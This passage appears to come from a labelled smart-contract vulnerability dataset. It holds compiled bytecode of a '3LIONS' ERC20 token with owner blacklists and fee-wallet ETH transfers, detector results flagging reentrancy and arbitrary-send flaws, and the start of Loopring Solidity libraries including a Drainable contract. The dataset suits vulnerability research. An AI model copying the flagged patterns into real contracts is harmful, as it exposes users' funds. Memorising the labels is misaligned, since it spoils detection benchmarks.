fffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fd5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fd5565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d93565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fd5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f334c494f4e530000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fd5565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133ab565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e01565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fd5565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613055565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16686c6b935b8bbd4000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612962565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612962565b6040518363ffffffff1660e01b8152600401610e1f929190612e25565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612962565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e77565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b0e565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506801158e460913d000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612e4e565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612abc565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612fd5565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612f95565b60405180910390fd5b6111d960646111cb83686c6b935b8bbd4000006120fb90919063ffffffff16565b61217690919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516112109190613095565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613035565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f55565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190613095565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613015565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f15565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612ff5565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157601160179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613075565b60405180910390fd5b5b5b60125481111561185057600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750601160179054906101000a900460ff165b15611ab75742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b601e42611a7391906131cb565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050601160159054906101000a900460ff16158015611b2f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750601160169054906101000a900460ff165b15611b6f57611b5581611e01565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121c0565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612ef3565b60405180910390fd5b5060008385611c8b91906132ac565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce860028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d13573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6460028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8f573d6000803e3d6000fd5b5050565b6000600854821115611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190612f35565b60405180910390fd5b6000611de46121ed565b9050611df9818461217690919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8d5781602001602082028036833780820191505090505b5090503081600081518110611ecb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6d57600080fd5b505afa158015611f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa59190612962565b81600181518110611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120aa9594939291906130b0565b600060405180830381600087803b1580156120c457600080fd5b505af11580156120d8573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561210e5760009050612170565b6000828461211c9190613252565b905082848261212b9190613221565b1461216b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216290612fb5565b60405180910390fd5b809150505b92915050565b60006121b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612218565b905092915050565b806121ce576121cd61227b565b5b6121d98484846122be565b806121e7576121e6612489565b5b50505050565b60008060006121fa61249d565b91509150612211818361217690919063ffffffff16565b9250505090565b6000808311829061225f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122569190612ef3565b60405180910390fd5b506000838561226e9190613221565b9050809150509392505050565b6000600a5414801561228f57506000600b54145b15612299576122bc565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806122d0876124ff565b95509550955095509550955061232e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240f8161260f565b61241984836126cc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124769190613095565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000686c6b935b8bbd40000090506124d3686c6b935b8bbd40000060085461217690919063ffffffff16565b8210156124f257600854686c6b935b8bbd4000009350935050506124fb565b81819350935050505b9091565b600080600080600080600080600061251c8a600a54600b54612706565b925092509250600061252c6121ed565b9050600080600061253f8e87878761279c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125c091906131cb565b905083811015612605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fc90612f75565b60405180910390fd5b8091505092915050565b60006126196121ed565b9050600061263082846120fb90919063ffffffff16565b905061268481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126e18260085461256790919063ffffffff16565b6008819055506126fc816009546125b190919063ffffffff16565b6009819055505050565b6000806000806127326064612724888a6120fb90919063ffffffff16565b61217690919063ffffffff16565b9050600061275c606461274e888b6120fb90919063ffffffff16565b61217690919063ffffffff16565b9050600061278582612777858c61256790919063ffffffff16565b61256790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b585896120fb90919063ffffffff16565b905060006127cc86896120fb90919063ffffffff16565b905060006127e387896120fb90919063ffffffff16565b9050600061280c826127fe858761256790919063ffffffff16565b61256790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128386128338461314a565b613125565b9050808382526020820190508285602086028201111561285757600080fd5b60005b85811015612887578161286d8882612891565b84526020840193506020830192505060018101905061285a565b5050509392505050565b6000813590506128a081613788565b92915050565b6000815190506128b581613788565b92915050565b600082601f8301126128cc57600080fd5b81356128dc848260208601612825565b91505092915050565b6000813590506128f48161379f565b92915050565b6000815190506129098161379f565b92915050565b60008135905061291e816137b6565b92915050565b600081519050612933816137b6565b92915050565b60006020828403121561294b57600080fd5b600061295984828501612891565b91505092915050565b60006020828403121561297457600080fd5b6000612982848285016128a6565b91505092915050565b6000806040838503121561299e57600080fd5b60006129ac85828601612891565b92505060206129bd85828601612891565b9150509250929050565b6000806000606084860312156129dc57600080fd5b60006129ea86828701612891565b93505060206129fb86828701612891565b9250506040612a0c8682870161290f565b9150509250925092565b60008060408385031215612a2957600080fd5b6000612a3785828601612891565b9250506020612a488582860161290f565b9150509250929050565b600060208284031215612a6457600080fd5b600082013567ffffffffffffffff811115612a7e57600080fd5b612a8a848285016128bb565b91505092915050565b600060208284031215612aa557600080fd5b6000612ab3848285016128e5565b91505092915050565b600060208284031215612ace57600080fd5b6000612adc848285016128fa565b91505092915050565b600060208284031215612af757600080fd5b6000612b058482850161290f565b91505092915050565b600080600060608486031215612b2357600080fd5b6000612b3186828701612924565b9350506020612b4286828701612924565b9250506040612b5386828701612924565b9150509250925092565b6000612b698383612b75565b60208301905092915050565b612b7e816132e0565b82525050565b612b8d816132e0565b82525050565b6000612b9e82613186565b612ba881856131a9565b9350612bb383613176565b8060005b83811015612be4578151612bcb8882612b5d565b9750612bd68361319c565b925050600181019050612bb7565b5085935050505092915050565b612bfa816132f2565b82525050565b612c0981613335565b82525050565b6000612c1a82613191565b612c2481856131ba565b9350612c34818560208601613347565b612c3d81613481565b840191505092915050565b6000612c556023836131ba565b9150612c6082613492565b604082019050919050565b6000612c78602a836131ba565b9150612c83826134e1565b604082019050919050565b6000612c9b6022836131ba565b9150612ca682613530565b604082019050919050565b6000612cbe601b836131ba565b9150612cc98261357f565b602082019050919050565b6000612ce1601d836131ba565b9150612cec826135a8565b602082019050919050565b6000612d046021836131ba565b9150612d0f826135d1565b604082019050919050565b6000612d276020836131ba565b9150612d3282613620565b602082019050919050565b6000612d4a6029836131ba565b9150612d5582613649565b604082019050919050565b6000612d6d6025836131ba565b9150612d7882613698565b604082019050919050565b6000612d906024836131ba565b9150612d9b826136e7565b604082019050919050565b6000612db36017836131ba565b9150612dbe82613736565b602082019050919050565b6000612dd66011836131ba565b9150612de18261375f565b602082019050919050565b612df58161331e565b82525050565b612e0481613328565b82525050565b6000602082019050612e1f6000830184612b84565b92915050565b6000604082019050612e3a6000830185612b84565b612e476020830184612b84565b9392505050565b6000604082019050612e636000830185612b84565b612e706020830184612dec565b9392505050565b600060c082019050612e8c6000830189612b84565b612e996020830188612dec565b612ea66040830187612c00565b612eb36060830186612c00565b612ec06080830185612b84565b612ecd60a0830184612dec565b979650505050505050565b6000602082019050612eed6000830184612bf1565b92915050565b60006020820190508181036000830152612f0d8184612c0f565b905092915050565b60006020820190508181036000830152612f2e81612c48565b9050919050565b60006020820190508181036000830152612f4e81612c6b565b9050919050565b60006020820190508181036000830152612f6e81612c8e565b9050919050565b60006020820190508181036000830152612f8e81612cb1565b9050919050565b60006020820190508181036000830152612fae81612cd4565b9050919050565b60006020820190508181036000830152612fce81612cf7565b9050919050565b60006020820190508181036000830152612fee81612d1a565b9050919050565b6000602082019050818103600083015261300e81612d3d565b9050919050565b6000602082019050818103600083015261302e81612d60565b9050919050565b6000602082019050818103600083015261304e81612d83565b9050919050565b6000602082019050818103600083015261306e81612da6565b9050919050565b6000602082019050818103600083015261308e81612dc9565b9050919050565b60006020820190506130aa6000830184612dec565b92915050565b600060a0820190506130c56000830188612dec565b6130d26020830187612c00565b81810360408301526130e48186612b93565b90506130f36060830185612b84565b6131006080830184612dec565b9695505050505050565b600060208201905061311f6000830184612dfb565b92915050565b600061312f613140565b905061313b828261337a565b919050565b6000604051905090565b600067ffffffffffffffff82111561316557613164613452565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131d68261331e565b91506131e18361331e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613216576132156133f4565b5b828201905092915050565b600061322c8261331e565b91506132378361331e565b92508261324757613246613423565b5b828204905092915050565b600061325d8261331e565b91506132688361331e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132a1576132a06133f4565b5b828202905092915050565b60006132b78261331e565b91506132c28361331e565b9250828210156132d5576132d46133f4565b5b828203905092915050565b60006132eb826132fe565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133408261331e565b9050919050565b60005b8381101561336557808201518184015260208101905061334a565b83811115613374576000848401525b50505050565b61338382613481565b810181811067ffffffffffffffff821117156133a2576133a1613452565b5b80604052505050565b60006133b68261331e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133e9576133e86133f4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613791816132e0565b811461379c57600080fd5b50565b6137a8816132f2565b81146137b357600080fd5b50565b6137bf8161331e565b81146137ca57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203750977d0fed618763ce0dcb5d7a24a7c948c8c43f257ba1b965bf9cbb9e583064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,282 |
0xeE94cf48924B720AF939E732E98F30F9594f87C5
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
// File: contracts/lib/AddressUtil.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for addresses
/// @author Daniel Wang - <daniel@loopring.org>
/// @author Brecht Devos - <brecht@loopring.org>
library AddressUtil
{
using AddressUtil for *;
function isContract(
address addr
)
internal
view
returns (bool)
{
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(addr) }
return (codehash != 0x0 &&
codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
function toPayable(
address addr
)
internal
pure
returns (address payable)
{
return payable(addr);
}
// Works like address.send but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETH(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
if (amount == 0) {
return true;
}
address payable recipient = to.toPayable();
/* solium-disable-next-line */
(success,) = recipient.call{value: amount, gas: gasLimit}("");
}
// Works like address.transfer but with a customizable gas limit
// Make sure your code is safe for reentrancy when using this function!
function sendETHAndVerify(
address to,
uint amount,
uint gasLimit
)
internal
returns (bool success)
{
success = to.sendETH(amount, gasLimit);
require(success, "TRANSFER_FAILURE");
}
// Works like call but is slightly more efficient when data
// needs to be copied from memory to do the call.
function fastCall(
address to,
uint gasLimit,
uint value,
bytes memory data
)
internal
returns (bool success, bytes memory returnData)
{
if (to != address(0)) {
assembly {
// Do the call
success := call(gasLimit, to, value, add(data, 32), mload(data), 0, 0)
// Copy the return data
let size := returndatasize()
returnData := mload(0x40)
mstore(returnData, size)
returndatacopy(add(returnData, 32), 0, size)
// Update free memory pointer
mstore(0x40, add(returnData, add(32, size)))
}
}
}
// Like fastCall, but throws when the call is unsuccessful.
function fastCallAndVerify(
address to,
uint gasLimit,
uint value,
bytes memory data
)
internal
returns (bytes memory returnData)
{
bool success;
(success, returnData) = fastCall(to, gasLimit, value, data);
if (!success) {
assembly {
revert(add(returnData, 32), mload(returnData))
}
}
}
}
// File: contracts/lib/ERC20.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <daniel@loopring.org>
abstract contract ERC20
{
function totalSupply()
public
view
virtual
returns (uint);
function balanceOf(
address who
)
public
view
virtual
returns (uint);
function allowance(
address owner,
address spender
)
public
view
virtual
returns (uint);
function transfer(
address to,
uint value
)
public
virtual
returns (bool);
function transferFrom(
address from,
address to,
uint value
)
public
virtual
returns (bool);
function approve(
address spender,
uint value
)
public
virtual
returns (bool);
}
// File: contracts/lib/ERC20SafeTransfer.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 safe transfer
/// @dev see https://github.com/sec-bit/badERC20Fix
/// @author Brecht Devos - <brecht@loopring.org>
library ERC20SafeTransfer
{
function safeTransferAndVerify(
address token,
address to,
uint value
)
internal
{
safeTransferWithGasLimitAndVerify(
token,
to,
value,
gasleft()
);
}
function safeTransfer(
address token,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferWithGasLimit(
token,
to,
value,
gasleft()
);
}
function safeTransferWithGasLimitAndVerify(
address token,
address to,
uint value,
uint gasLimit
)
internal
{
require(
safeTransferWithGasLimit(token, to, value, gasLimit),
"TRANSFER_FAILURE"
);
}
function safeTransferWithGasLimit(
address token,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transfer is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transfer(address,uint256)")) = 0xa9059cbb
bytes memory callData = abi.encodeWithSelector(
bytes4(0xa9059cbb),
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function safeTransferFromAndVerify(
address token,
address from,
address to,
uint value
)
internal
{
safeTransferFromWithGasLimitAndVerify(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint value
)
internal
returns (bool)
{
return safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasleft()
);
}
function safeTransferFromWithGasLimitAndVerify(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
{
bool result = safeTransferFromWithGasLimit(
token,
from,
to,
value,
gasLimit
);
require(result, "TRANSFER_FAILURE");
}
function safeTransferFromWithGasLimit(
address token,
address from,
address to,
uint value,
uint gasLimit
)
internal
returns (bool)
{
// A transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
// bytes4(keccak256("transferFrom(address,address,uint256)")) = 0x23b872dd
bytes memory callData = abi.encodeWithSelector(
bytes4(0x23b872dd),
from,
to,
value
);
(bool success, ) = token.call{gas: gasLimit}(callData);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
internal
pure
returns (bool)
{
// A transfer/transferFrom is successful when 'call' is successful and depending on the token:
// - No value is returned: we assume a revert when the transfer failed (i.e. 'call' returns false)
// - A single boolean is returned: this boolean needs to be true (non-zero)
if (success) {
assembly {
switch returndatasize()
// Non-standard ERC20: nothing is returned so if 'call' was successful we assume the transfer succeeded
case 0 {
success := 1
}
// Standard ERC20: a single boolean value is returned which needs to be true
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
// None of the above: not successful
default {
success := 0
}
}
}
return success;
}
}
// File: contracts/lib/Drainable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Drainable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev Standard functionality to allow draining funds from a contract.
abstract contract Drainable
{
using AddressUtil for address;
using ERC20SafeTransfer for address;
event Drained(
address to,
address token,
uint amount
);
function drain(
address to,
address token
)
external
returns (uint amount)
{
